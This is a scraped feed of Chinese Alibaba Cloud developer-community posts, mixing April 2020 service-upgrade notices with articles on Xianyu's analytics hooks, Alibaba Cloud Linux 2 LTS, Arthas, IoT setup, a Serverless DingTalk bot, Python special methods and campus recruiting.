        升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。

        升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【升级】4月消息队列AMQP升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口:

        北京时间2020年4月2日 00:00 - 06:00

        北京时间2020年4月3日 00:00 - 06:00

        北京时间2020年4月9日 00:00 - 06:00

        北京时间2020年4月16日 00:00 - 06:00

        北京时间2020年4月17日 00:00 - 06:00

        北京时间2020年4月23日 00:00 - 06:00

        北京时间2020年4月30日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【升级】4月9日阿里云支付系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【支付系统】【升级通知】

        升级时间:北京时间 2020年4月9日 01:00 - 04:00

        升级内容:为增强阿里云交易和支付系统的用户体验,我们将对相关系统进行升级。升级期间给您带来的不便敬请谅解,感谢您的支持与理解。

        升级影响:
        1、包年包月产品无法进行支付,包括新购、续费、升降级、退款等操作;

        2、按量付费产品可正常开通、变配,极端情况下可能会不可用,可在几分钟后重试相关操作;

        3、账户余额无法进行充值、提现等操作,建议提前充值,确保余额充足;

        4、按量付费产品账单结算将延迟到升级完成后执行,不影响您正常使用。

        给您带来的不便敬请谅解,如您有上述操作需求,建议您提前操作,您有任何问题,请联系我们进行咨询反馈。

        ]]>
        【升级】4月微消息队列MQTT升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【微消息队列MQTT】【升级通知】

        升级窗口:

        北京时间2020年4月1日 23:00 - 4月2日 07:00

        北京时间2020年4月8日 23:00 - 4月9日 07:00

        北京时间2020年4月15日 23:00 - 4月16日 07:00

        北京时间2020年4月22日 23:00 - 4月23日 07:00

        北京时间2020年4月29日 23:00 - 4月30日 07:00

        升级内容:所有地域的MQTT服务。

        升级影响:升级期间MQTT控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端应用需要设置自动重连,以免影响业务。

        升级期间,消息发送可能会有少量失败,应用需要做好断连失败重试机制;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        纳米镜系列文章|使闲鱼各种业务“雨露均沾”-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-云听

        背景

        在之前的文章中,我们介绍了纳米镜的功能和背后的分析算法,而闲鱼目前业务线多且复杂,怎么构建一个可扩展性强的系统,使每个业务线都能够便捷地接入,成为首要关注的问题。

        思路分析

        标准数据集

        纳米镜的分析算法,输入输出是固定的,要求输入是一个固定的标准ODPS数据集,字段包含userid/分桶id/人群切面1/人群切面2/指标1/指标2等,但实际业务场景中,每个业务关注的人群切面与数据指标都是大相径庭的,为了在约束中寻找灵活性,我们必须对纳米镜的标准数据集做些改造。
        由于纳米镜存在数据集依赖,比如说预测算法和切面显著性算法,就需要依赖具体的某张表去做二次计算,比较好的解决方案是让业务方按照数据集规范往标准数据集的中间表里面插数据。

        数据集自动生成

        只要让每个业务将自己的数据按照标准数据集的规范插入到纳米镜中间表中,就能开始使用纳米镜的功能。但实际场景中,业务产出数据集的开发成本很大,并且这种方式对使用方的开放权限很大,假如使用方不按照规范插入数据,会对源数据造成污染,使其变得不可控。那是否能做到数据集自动生成,让使用方不需要关注数据采集流程呢?
        可以看看,在平常的业务开发流程中,生成ODPS数据源的工作流程是:

        这整个过程下来,一般都会花费至少2天(1天埋点梳理与开发、1天写SQL生成报表)的时间,并且很多时候会出现埋点遗漏的问题,又需要重新走一遍开发和发布流程,造成很多人力上的浪费。

        方案设计

        标准数据源制定

        数据集中的数据类型是固定的,数据类型下字段名称和值可以是灵活的。

        在数据集上,我设计这种一种数据格式,参考:
        userid: 用户userid
        bucket_id:bucket_A
        indexes: index_visit=1,index_ipv=2
        tags: tag_sex=F,tag_age=19

        业务数据集自动生成

        行业成熟方案及缺点

        数据自动生成,意味着上面提到的常规数据开发流程直接抹除,不需要关注埋点开发、也不需要跨专业领域去写SQL,页面只要一上线,活动数据就会自动存储到纳米镜的标准数据源中。要做到无埋点,业界有类似的方案,也叫做“全埋点”,自动采集坑位曝光点击,但这个方案的缺点很明显:
        1、上传数据是dom节点位置信息,清洗麻烦,并且摆脱不了写SQL的工作
        2、增加带宽、服务器压力(每个坑位的曝光点击,无论是否需要都会上传)
        3、业务侵入太强(weex下要监听坑位曝光事件,模块开发时需引入定制组件)
        4、携带不了trackparam信息(实际业务场景还会关注更多业务信息 eg.商品id/分桶/红包金额)

        提取用户行为的最大公约数

        本质上,业务关注的是用户行为。我对历史埋点开发的数据做了统计,梳理出业务关注的用户行为类型,包含点击跳转页面、红包曝光、红包领取、红包金额、分桶id、渠道等。并且发现,所有这些用户行为,底层都经过了页面跳转/HTTP接口请求/url传参这几个API调用,如果API调用的输入输出是可固化的,那理解用户行为的业务语义并采集上报,就具备可能性!

        最终方案

        要做一个适用所有业务(闲鱼/手淘/天猫)的用户行为采集方案,技术实现上不可能,原因是每个业务自己的工程实现方案完全不同,也无法保持一致。不过对闲鱼来说,工程基建基本成熟稳定,具有业务语义的用户行为的API输入输出已固化,使实现一套只适用于闲鱼的用户行为自动采集技术方案具有了可能性。总体技术方案如下:

        图中下半部分的虚线部分:产品展现侧本文不做太多扩展,本文主要讲上半部分的,从端侧用户行为采集到生成纳米镜标准数据源。
        相比全埋点,它的特点是:
        1、灵活配置
        2、减少带宽、服务器计算压力
        3、业务无侵入
        4、可携带trackparam信息

        落地

        hook API

        闲鱼前端封装了一个util,页面跳转(navigator)、http请求(mtop)都由它暴露出来给开发使用,具体调用方式是navigator.push()mtop.request()。使用Proxy代理对这两个API进行hook。这里以navigator为例。

        navigator['push'] = new Proxy(navigator['push'], {
        get(target, propKey) {
        return target[propKey];
        },
        set(target, propKey, value) {
        target[propKey] = value;
        return target[propKey];
        },
        apply(target, thisArg, args) {
        // 先执行原逻辑
        const result = target.apply(this, args);
        // 是否指定忽略纳米镜分析
        const ignoreNanoAnaly = args && args[0] && args[0].api && args[0].ignoreNanoAnaly;
        if (ignoreNanoAnaly) {
        return result;
        }
        if (result instanceof Promise && result.then) {
        result.then(d => {
        // 这里写入监听逻辑
        // ...
        return Promise.resolve(d);
        }).catch(e => {
        // 这里写入监听逻辑
        // ...
        return Promise.reject(e);
        });
        }
        return result;
        }
        });

        用户行为采集通用配置与可定制化配置

        闲鱼目前已沉淀下成熟的一套用户行为采集通用配置,满足业务方数据分析时的各种数据指标诉求,并且,我们还支持定向扩展,可对具体的页面spmId定制自己个性化的用户行为指标,具体的配置参数与含义参考以下demo。

        {
        "spms": [{
        "spm": "common", // 用户行为通用配置 会对所有页面产生的用户行为进行匹配
        "tasks": [{
        "indexType": 0, // 0代表指标 1代表bucket_id 2代表infos 3代表扩展信息 默认0 这里主要是需要与纳米镜的标准数据源建立映射关系
        "index": "index__ipv", // 指标名称 IPV
        "behavior": [
        {
        "type": 0, // 用户行为类型 0代表navigator 1代表mtop 2代表location.href
        "condition": "fleamarket://item", // 正则匹配是否目标行为 type=navigator匹配下跳url;type=mtop匹配接口返回值 不校验填true
        "valueType": "1" // 指标数值类型 0代表boolean 1代表count 字符串属性链代表对应取对应值
        }
        ]
        }]
        }, {
        "spm": "spma.spmb",
        "match_uv": true, // 是否采集页面uv 默认指标名称是 index__visit
        "tasks": [{
        "indexType": 0,
        "index": "index__gold_copper", // 金宝箱是否打开
        "behavior": [{
        "type": 1, // mtop接口请求的行为类型
        "api": "mtop.api.lottery.draw", // 抽奖接口api名称
        "condition": "d.data.status===5", // mtop返回值符合该正则匹配 则认为符合采集记录条件  status==5代表用户成功打开了金宝箱
        "valueType": "0" // 是否领取成功 0/1
        }]
        }]
        }]
        }

        行为聚合与上报

        为了减少带宽和服务器计算压力,每次采集到的用户行为不会立即上报,而是把整个页面实例生命周期的用户行为做聚合,直到页面被销毁或者应用从前台切到后台15秒后做统一上报。
        上面提到的demo,假设用户在spmId为spma.spmb的页面点击跳转了10次商品详情页,并打开了金宝箱,最终上报到服务器日志的数据长这样:

        {
        "page": "spma.spmb",
        "indexes": "index__visit=1,index__ipv=10,index__gold_copper=1"
        }

        效果

        目前,已经有多个业务通过这种方式灵活轻便地接入纳米镜,eg. 边逛边赚钱、侃侃刀、报价单、322闲鱼大促等等,从原本要花费至少2人日的开发量,到只要活动上线,即可上手纳米镜查看活动智能分析结论,整体纳米镜使用体验和使用效率都获取了极大的提升。

        未来

        目前纳米镜设计的业务接入模式,已能够满足业务0成本接入,如果有更多定制化数据指标诉求,也支持低成本地动态配置。
        未来,纳米镜会在数据科学的道路上深入钻研,现阶段我们更多在理解人,也在尝试从浩如烟海的历史活动中抽象沉淀知识库,并且开始尝试理解货,理解人与货之间的喜好关系,并建立人与货之间的匹配关系。
        想了解更多细节,就请继续关注闲鱼公众号吧。

        ]]>
        Alibaba Cloud Linux 2 LTS 正式发布,提供更高性能和更多保障!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在Alibaba Cloud Linux 2(原Aliyun Linux 2)上线一年之际阿里云对外正式发布Alibaba Cloud Linux 2 LTS版本。LTS版本的发布对于Alibaba Cloud Linux 2来说是一个重要的里程碑,标志阿里云将为Alibaba Cloud Linux 2提供长期支持、稳定的更新、更好的服务,为Alibaba Cloud Linux 2的客户提供更多保障。

        Alibaba Cloud Linux 2 LTS版本发布后,阿里云将会为该版本提供长达5年的软件维护、问题修复服务,从2019-03-27开始到2024-03-31结束:包括:

        • 免费的服务和支持:Alibaba Cloud Linux 2的客户可以通过阿里云工单系统、钉钉或者社区等途径来寻求阿里云的免费支持服务。
        • 软件持续更新和集成:长达五年的维护周期,持续更新和集成软件,保证至少每4个月一次的更新节奏。
        • 问题&CVE修复:提供急速的问题和CVE修复支持
          01

        本次发布的LTS版本更专注于性能的和稳定性的提升,包括:

        • 启动优化:对OS启动全流程做了优化,在原来Alibaba Cloud Linux 2的基础上启动性能再次优化40%,相比于其他OS启动时间减少60%;
        • 运行时优化:通过对调度、内存、文件系统等多个子系统进行了全方面的优化,使Alibaba Cloud Linux 2在多种benchmark的测试下相比其他OS有10%~30%的性能提升;
        • 稳定性提升:阿里云在对Alibaba Cloud Linux 2进行多方面的质量保障,并且经过阿里经济体应用的规模验证,及时发现问题并解决,保证了线上宕机率相比其他OS减少50%;
          02

        在提升性能和稳定性的同时,该版本还为用户提供了更多、更丰富的功能,包括:

        • 多架构支持:全面支持X86 CPU包括:INTEL CooperLake、IceLake;AMD Milan、Rome:HYGON。同时支持多款ARM CPU:Kunpeng、PHYTUIM;
          03
        • 资源隔离特性增强:Alibaba Cloud Linux 2在kernel本身就具备的namespace隔离能力的基础上,为容器混合部署场景提供更多的资源隔离手段,提升容器间的隔离性,保证了容器中应用的稳定性。
          04
        • 丰富的应用软件:Alibaba Cloud Linux 2在集成了大量丰富的开源软件生态的同时,也将更多优秀的阿里巴巴经济体开源软件向客户开放,包括dragonwell、tengine、dragonfly等。
          05

        客户的数据安全是阿里云的生命线,安全防护一直是阿里云非常重视的技术,之前Alibaba Cloud Linux 2发布了中国首个CIS benchmark,而本次Alibaba Cloud Linux 2 LTS也发布了多个安全功能,包括:

        • 自动修复方案 & 安全告警中心:

        1、Alibaba Cloud Linux 2 LTS为用户提供了自动CVE修复方案,只需要进行简单的配置即可为用户无感知的完成CVE安全漏洞的修复,极大的提升了系统的安全修复能力;
        2、同时Alibaba Cloud Linux 2也发布了自己的安全告警中心,为用户提供CVE安全漏洞的跟踪、修复、记录。
        06

        • 可信解决方案:Alibaba Cloud Linux 2 LTS还为用户提供了一套安全解决方案,为系统完整性提供安全基线并且能对非法篡改行为溯源,该方案通过组合了TPM2、IMA、内核模块签名等多种安全特性,实现了从芯片到关键应用的安全可信,可以提升系统整体的完全性防护能力。
          07

        Linux操作系统是一个非常庞大而复杂的开源系统,整个系统的持续演进不仅仅需要专业的团队进行维护,也希望有更多的企业、个人和社区一起参与共建,帮助操作系统更好的服务更多的人,欢迎更多的朋友来使用Alibaba Cloud Linux 2 LTS,和我们一起发现问题、反馈问题、解决问题,将Alibaba Cloud Linux 2 LTS做的更好。

        可以通过如下方式联系我们:

        产品页https://www.aliyun.com/product/alinux
        GitHub地址https://alibaba.github.io/cloud-kernel/zh/os.html
        邮件列表https://alibaba.github.io/cloud-kernel/zh/MAILLIST.html
        钉钉群:Alibaba Cloud Linux OS 开发者&用户群
        钉钉群二维码:
        09

        ]]>
        技术征文 | 那些年,我用 arthas 排查过的问题-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 arthas1.png

        线上系统为何经常出错?数据库为何屡遭黑手?业务调用为何频频失败?连环异常堆栈案,究竟是哪次调用所为? 数百台服务器意外雪崩背后又隐藏着什么?是软件的扭曲还是硬件的沦丧? 走进科学带你了解 Arthas,一款开源一年多 GitHub star 就近 2 万,99% 的阿里研发小哥都在用的 Java 终极诊断利器!

        Arthas 可以帮你解决这些问题:

        1. 这个类从哪个 jar 包加载的?为什么会报各种类相关的 Exception?
        2. 我改的代码为什么没有执行到?难道是我没 commit?分支搞错了?
        3. 遇到问题无法在线上 debug,难道只能通过加日志再重新发布吗?
        4. 线上遇到某个用户的数据处理有问题,但线上同样无法 debug,线下无法重现!
        5. 是否有一个全局视角来查看系统的运行状况?
        6. 有什么办法可以监控到 JVM 的实时运行状态?
        7. 怎么快速定位应用的热点,生成火焰图?

        开始使用 Arthas

        • 方式一:通过Cloud Toolkit 实现 Arthas 一键远程诊断

        Cloud Toolkit 是阿里云发布的免费本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。不仅仅有 IntelliJ IDEA 主流版本,还有 Eclipse、Pycharm、Maven 等其他版本。详情可点击:http://t.tb.cn/2A5CbHWveOXzI7sFakaCw8

        • 方式二:直接下载

        地址:https://github.com/alibaba/arthas
        Arthas 的原理、命令在其官方文档有详细介绍,下文将介绍一下近期几个使用场景。

        征文活动介绍

        为了让更多开发者开始用上 Arthas 这个Java 诊断神器,这一次我来发奖你来说,聊聊这些年你和 Arthas 之间的那些事儿。在此次活动中,大家可以尽情表达自己的声音,你可以将使用 Arthas 过程中积累的经验及感悟整理成一篇文章分享给大家,或者也可以把你对 Arthas 提出的建议汇总成稿给到我们,我们将在多个渠道发布。

        当然更欢迎你直接参与 Arthas 开源贡献,成为社区的 contributor!

        第一期征文活动将于 3 月 26 日—— 4 月 26 日举办,后续征文活动将持续至 2020 年 12 月。

        arthas.png

        如何参与活动

        投稿文章要求

        • 字数 1000 字以上,文章层次结构及行文逻辑清晰;
        • 文章必须是原创;
        • 拼写规范:英文和中文间需要空格,数字和中文间需要空格;
        • 禁止发布广告类内容信息;
        • 禁止发布涉政、暴恐、违禁等敏感内容。

        文章投稿福利

        精美礼品

        • 凡提交有效内容(详情参考投稿文章要求)的同学,将获得 Arthas Most Valuable User 福袋一份,包含淘公仔、Arthas 贴纸、阿里云 T 恤 ;
        • 最受欢迎的 top3 的文章,获得天猫精灵一台;
        • 年度 top 20 文章,将获得 cherry 键盘及神秘礼品。

        社区荣誉

        我们将会对稿件内容进行评选,入选的高质量文章,除了实物奖励之外,我们还会:

        • 在阿里巴巴云原生公众号和 Arthas 技术社区的首页,展示您的文章及作者介绍模块,让更多的开发者了解你;
        • 成为 Arthas 社区的贡献者,参与社区的日常运营,并作为社区讲师参与 Arthas 线上/线下活动分享。

        内容方向建议

        1. 使用 Arthas 排查过的问题
          可以将你使用 Arthas 排查的问题整理成一篇文章,分享你在排查问题中的得到的经验与思考,为更多的开发者提供一份“避坑指南”。
        2. 对 Arthas 进行源码解读
          你可以找几个最感兴趣的功能点切入,从源码来分析设计与实现原理,然后整理成稿投稿给我们,基于对 Arthas 的源码解读来和众多开发者们“隔空对话”,来一场思想上的碰撞。
        3. 对 Arthas 提出建议
          如果你希望能够更多地参与到 Arthas 社区中来,可以提出你对 Arthas 的建议或者说出你对 Arthas 未来的期待并将其整理成文。
        4. 不限,其它与 Arthas 有关的内容

        例如,你是如何接触到 Arthas 的?你会选择把 Arthas 推荐给更多的开发者吗?或者只是简单记录一次 Arthas 的使用实践等等均可。

        【参考历史用户文章】

        ]]>
        使用developer kit 初步打通阿里生活物联网平台-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、​与物联网平台的区别

        生活物联网平台和物联网平台均为阿里云IoT提供的云服务平台,两个平台各自优势和使用场景如下。

        物联网平台提供原子化的设备接入能力,适用于云开发能力较强的用户,可以在各个行业领域使用。了解更多详情请参见什么是物联网平台。

        640.webp.jpg

        生活物联网平台提供了设备接入能力、移动端的SDK以及免开发的公版App和界面,更适用于消费级的智能设备开发者,开发门槛较低,可以快速实现消费级设备的智能化,如智能家电、穿戴、家装领域等。

        640.webp (1).jpg

        之前我已经写过了关于如何连接物联网平台的文档,这里就不在重复了,今天主要写得是关于生活物联网平台的趣事。

        二:准备工作:

        开发环境:Ubuntu 16.04
        嵌入式系统:Alios Things 2.1
        开发板:Developer kit

        三、智能生活平台配置:

        3.1、根据新手引导点击立即开始,创建自己的第一个项目和产品

        640.webp (2).jpg

        3.2、选择自己的App面板

        640.webp (3).jpg

        3.3、扫码安装公版

        640.webp (4).jpg

        3.4、将人机交互中多语言管理和配网引导完成

        640.webp (5).jpg
        640.webp (6).jpg

        3.5、完成设备的创建

        一般选择已经认证了的模组,但是如果没有认证过则选择未认证

        640.webp (7).jpg

        新增测试设备

        640.webp (8).jpg

        获取四元组

        640.webp (9).jpg

        此时,智能生活平台上的设备也会被同步到物联网平台中。

        四、配置和编译:

        4.1、选择app和board

        640.webp (10).jpg
        640.webp (11).jpg

        4.2、修改代码

        打开linkkit_example_solo.c文件,将在智能生活平台上创建的设备四元组替换进去

        640.webp (12).jpg

        4.3、编译:aos make

        640.webp (13).jpg

        4.4、烧录:连接wifi netmgr connect ssid(wifi用户名) password(密码)

        640.webp (14).jpg

        电脑上显示在线:

        640.webp (15).jpg

        4.5、打开手机云智能app并开启wifi,搜索我的led

        640.webp (16).jpg
        640.webp (17).jpg

        通过在app上调节我们能看到实时的数据

        640.webp (18).jpg

        到此为止:我们就初步打通了设备连到生活物联网平台。

        ]]>
        急速上线 Serverless 钉钉机器人“防疫精灵”-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 han1.jpg

        新型冠状病毒疫情肆虐的春节,大家都过得人心惶惶,作为被关在家的程序狗,总觉得要做点什么。于是阿里云 IoT 事业部的几个同学就开始了防疫精灵的开发之路。

        从点子到防疫宝,只花了一个下午时间;从防疫宝到钉钉全域机器人防疫精灵,只花了 1.5 天时间完成开发,3 天灰度、全量,发布 1 天半就突破 1 万个群添加使用,即插即用,疫情实况、常见问题、健康打卡全都有:

        如此紧急,toC海量客户,如何快速开发又不失稳定、安全呢?

        快速搭建

        天下武功唯快不破,怎么快?靠工具!
        IoT Studio是阿里云 IoT 向物联网开发者提供的应用开发工具,包括了可视化、逻辑编排、数据分析三大能力。该工具开发的应用实例运行于阿里云函数计算(FunctionCompute 简称 FC)之上,应用 serverless 化,以达到按量伸缩和免运维的效果。

        机器人添加

        原理:钉钉全域机器人添加/删除/更新时,会自动推送HTTP事件
        搭建:

        1.使用HTTP流来提供钉钉事件回调
        2.使用路径选择节点,根据事件类型分流到对应的处理逻辑
        3.使用 Node 脚本进行数据预处理,包括数据格式、敏感字段脱敏或加签等
        4.存入数据库

        聊天消息通路

        原理:基本同上,at机器人的消息将发送到回调接口,转发 NLP 接口
        搭建:
        1.使用 HTTP 流来提供钉钉消息回调
        2.使用 Node 脚本节点(此处可用 API 请求节点,但因为稳定性要求改用 Node 脚本来,详见下文优化部分)

        批量群推送

        原理:每天 9 时、17 时定时推送最新疫情实况和打卡、咨询快捷链接
        搭建:
        // 触发
        1.使用定时节点,设置每日触发
        2.使用项目内API节点,调用同项目内的批量发送服务

        // 发送
        3.使用 HTTP 节点搭建发送入口
        4.使用 Node.js 脚本节点拼装消息发送的内容
        5.使用 Node.js 脚本节点查询数据库的webhook信息并解签(此处后续会优化数据库节点,无需写脚本)
        6.使用 Node.js 脚本节点,批量发送消息给钉钉的 OpenAPI 接口(此处是关键点,容量评估、并发、流控、异常处理都在此处)

        疫情可视化

        原理:使用可视化工具,利用库中的疫情数据,展示实况、趋势图,借助函数计算部署 puppeteer 服务定时截图
        搭建:

        1. 使用文字组件,配置数据源(业务逻辑编排接口,类似上文搭建方式,不赘述),使用过滤器选定展示字段
        2. 使用折线图组件,配置数据源、数据系列。
        3. 使用函数计算部署 puppeteer 截图任务,详见:Serverless 实战 —— 快速开发一个分布式 Puppeteer 网页截图服务

        架构梳理

        小结

        1. 好用的工具是绝对的生产力。 IoT Studio 拉近了想法和实现的距离,通过快速模板化,1 天搭建原型,1 天完成了 V1 版本。
        2. Serverless 为后端的高并发、高可用保驾护航。由于疫情的发展,“防疫精灵”的访问量很快就大幅度提升,而且是非常典型的访问量峰谷类业务。Serverless 的按量付费和急速弹性(百毫秒级别)省去了业务量增长而引入的架构升级的工作。此外函数计算的快速部署和低运维特性,也让开发迭代得更快,对系统的监控度感知更容易。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        特殊方法 | Python从入门到精通:高阶篇之三十六-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 垃圾回收 | Python从入门到精通:高阶篇之三十五

        特殊方法

        特殊方法,也称为魔术方法。
        特殊方法都是使用__开头和结尾的。例如: __init__、__del__。
        特殊方法一般不需要我们手动调用,需要在一些特殊情况下自动执行。
        我们去官方文档去找一下。

        image.png
        image.png

        我们接下来学习一些特殊方法。
        定义一个Person类:

        class Person(object):
            """人类"""
            def __init__(self, name , age):
                self.name = name
                self.age = age
        
        # 创建两个Person类的实例        
        p1 = Person('孙悟空',18)
        p2 = Person('猪八戒',28)
        
        # 打印p1
        print(p1)

        执行结果:

        image.png

        打印一个元组:

        t = 1,2,3
        print(t)

        执行结果:

        image.png

        可以发现两个的执行结果不一致,是因为当我们打印一个对象时,实际上打印的是对象的中特殊方法__str__()的返回值。

        __str__():
        我们通过代码来看一下:

            def __str__(self):
                return 'Hello Person'   
         
         print(p1)  
          print(p2)  

        执行结果:、

        image.png

        此时我们发现打印的结果是没有意义的,想要像元组一样输出对象中的信息,我们需要修改返回值:

            def __str__(self):
                return 'Person [name=%s , age=%d]'%(self.name,self.age) 

        执行结果:

        image.png

        __str__()这个特殊方法会在尝试将对象转换为字符串的时候调用,它的作用可以用来指定对象转换为字符串的结果 (print函数)。
        与__str__()类似的还有__repr__()。

        __repr__():
        通过代码来看一下:

            def __repr__(self):
                return 'Hello'   
        
        print(repr(p1))

        执行结果:

        image.png

        __repr__()这个特殊方法会在对当前对象使用repr()函数时调用,它的作用是指定对象在 ‘交互模式’中直接输出的效果。
        比较大小:
        直接执行结果

        print(p1 > p2)

        image.png

        通过执行结果来看,我们需要解决的是如何支持大于、小于、等于这些运算符。

        object.__lt__(self, other)    #  小于 <
        object.__le__(self, other)   # 小于等于 <=
        object.__eq__(self, other)     # 等于 ==
        object.__ne__(self, other)    # 不等于 !=
        object.__gt__(self, other)     # 大于 >
        object.__ge__(self, other)    # 大于等于 >= 

        我们来演示一下:

            def __gt__(self , other):
                return True
        
        print(p1 > p2)
        print(p2 > p1)

        执行结果:

        image.png

        可以发现,如果直接返回True,不管怎么比较都是True,这是有问题的。
        此时修改返回值代码:

                return self.age > other.age

        执行结果:

        image.png

        __gt__会在对象做大于比较的时候调用,该方法的返回值将会作为比较的结果。他需要两个参数,一个self表示当前对象,other表示和当前对象比较的对象。简单来说:self > other

        __len__():获取对象的长度

        object.__bool__(self)

            def __bool__(self):
                return self.age > 17
        
        print(bool(p1))

        执行结果:

        image.png

        修改p1的age:

        p1 = Person('孙悟空',8)

        执行结果:

        image.png

        此时先将p1的age修改为之前的。
        我们可以通过bool来指定对象转换为布尔值的情况。
        我们来看一下:

        if p1 :
            print(p1.name,'已经成年了')
        else :
            print(p1.name,'还未成年了')

        执行结果:

        image.png

        此时再去将年龄修改为8:
        执行结果:

        image.png

        另外还有一些对对象的运算:

        object.__add__(self, other)  
        object.__sub__(self, other)   
        object.__mul__(self, other)   
        object.__matmul__(self, other)   
        object.__truediv__(self, other)    
        object.__floordiv__(self, other)   
        object.__mod__(self, other)    
        object.__divmod__(self, other)   
        object.__pow__(self, other[, modulo])   
        object.__lshift__(self, other)   
        object.__rshift__(self, other)   
        object.__and__(self, other)     
        object.__xor__(self, other)      
        object.__or__(self, other)      

        我们在需要的时候去调用就可以了。这些方法都是对多态的体现。

        配套视频课程,点击这里查看

        获取更多资源请订阅Python学习站

        ]]>
        蚂蚁操作系统资深专家秦承刚:应届生如何摘取软件行业皇冠上的明珠-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        就现在!蚂蚁「校招季」重磅来袭!除了介绍蚂蚁的技术大咖,我们还邀请了一些通过校招来到蚂蚁的过来人分享他们的通关经验和心得,这里随时可能有行业技术大咖和你的直系学长学姐出没哦~ 「校招季」栏目会持续输出有关“蚂蚁校招”的丰富内容,敬请期待!

        近两年,国内关于操作系统的话题逐渐多了起来,不过对于很多应届生来说,操作系统研发的门槛太高,令人望而生畏。即使知道行业急缺相关技术人才,岗位高薪,待遇优厚,大部分人还是不敢贸然尝试。

        操作系统研发真的是不适合萌新应届生的领域吗?对于这个问题,在企业中进行相关研发的人又怎么看呢?我们找到了在蚂蚁金服进行系统软件研发的资深技术专家秦承刚,来看看他的看法。

        从一篇论文说起

        秦承刚研发的操作系统是应用在云计算上面的。随着蚂蚁金服全面转型云原生架构,为了在新的架构下保障应用性能和数据安全,应对云原生架构下的新挑战,必须在系统层面进行深入挖掘。

        谈起应届生是否适合操作系统研发,他提到最近刚好有这样一件事。

        在计算机界有一个编程语言和操作系统的顶级学术会议ASPLOS,原定于今年3月16-20日在欧洲举办,由于疫情,改成在线上举行。

        去年,蚂蚁金服首次参与该大会,就有两篇论文入选,其中一篇正是秦承刚团队所操刀的。

        这篇论文有两个共同第一作者,一名是团队的应届实习生余天依,另一名则是上海交通大学软件学院的研究生。

        这篇论文的主题是近两年开始火热的Serverless技术的启动速度问题,这个问题一直困扰业界,是Serverless迟迟难以在生产环境大规模应用的原因之一,而团队成功将Serverless冷启动的时间降低到亚毫秒级别,其中的关键技术就是轻量级操作系统。

        原来,这原本是秦承刚团队的一个技术预研项目,在18年的时候,云原生已经很火热,但Serverless出现没多久,不被人们广泛接受,承刚预判到这项技术未来会有很大的潜力,因此选择这个方向进行技术攻关。

        由于涉及到一些前瞻性的技术,团队需要科研力量的加入,也就是与高校展开学术合作。余天依本身出自上海交大,通过她在当中作为技术沟通桥梁,团队顺利和上海交大并行与分布式系统研究所搭上线,双方展开合作。

        论文中用到的操作系统是Google于2018年开源的gVisor,论文在操作系统层面优化了Serverless场景下的实例启动时延,能够在几毫秒内完成操作系统与应用的启动。

        承刚团队所研发的轻量级操作系统也是基于gVisor,不过给它做了诸多改进与功能增强,在虚拟化技术网络协议栈上做了很多创新。其中很多改进会逐步回馈给开源社区,上述论文就是其中一个例子。

        应届生如何参与系统研发

        上面的论文只是承刚团队工作的冰山一角,他们所研发的系统软件是蚂蚁金服可信原生技术拼图的重要一块。

        所谓可信原生技术,是在社区的云原生技术基础上,实现软硬件全链路的安全性,让整个系统无论从内部还是外部都无法被攻破,从而实现可信任。

        过去人们讨论云原生时,安全问题并没有受到太多关注。而云原生里的容器,相比虚拟机,更容易引发安全问题。在云原生中,传统容器共享同一个CPU等资源,缺乏隔离性,一旦一个容器发生安全问题,很可能影响到其它容器,甚至入侵整个系统。承刚团队所研发的系统软件,在底层操作系统和容器应用之间添加了一层隔离,从而提升了安全性。

        承刚团队的工作一方面是和操作系统打交道,所以对Linux内核的研究会很深入,团队里有专人参与Linux内核开源社区,以及跟进系统软件相关的学术研究进展;另一方面,团队需要让应用在云原生环境下运行得更好更安全,因此也会涉及到操作系统级别的工程效能、运维交付、安全可信等研发工作。

        正因为最前沿的云原生架构,和最古老的操作系统产生碰撞,所以对研发带来了极大的挑战,而且,很多时候有些瓶颈单靠经验难以解决,需要借助学术界的力量,对难题进行攻关,上面的论文正是诞生于这样的背景。

        所以应届生当然适合操作系统软件研发,承刚团队也一直希望有优秀的应届生加入。

        承刚希望两类应届生的加入,一类就是上面所说的研究型实习生,钻研前沿技术,寻求技术突破。另一类则是普通的开发岗位,团队也需要新鲜血液的注入。

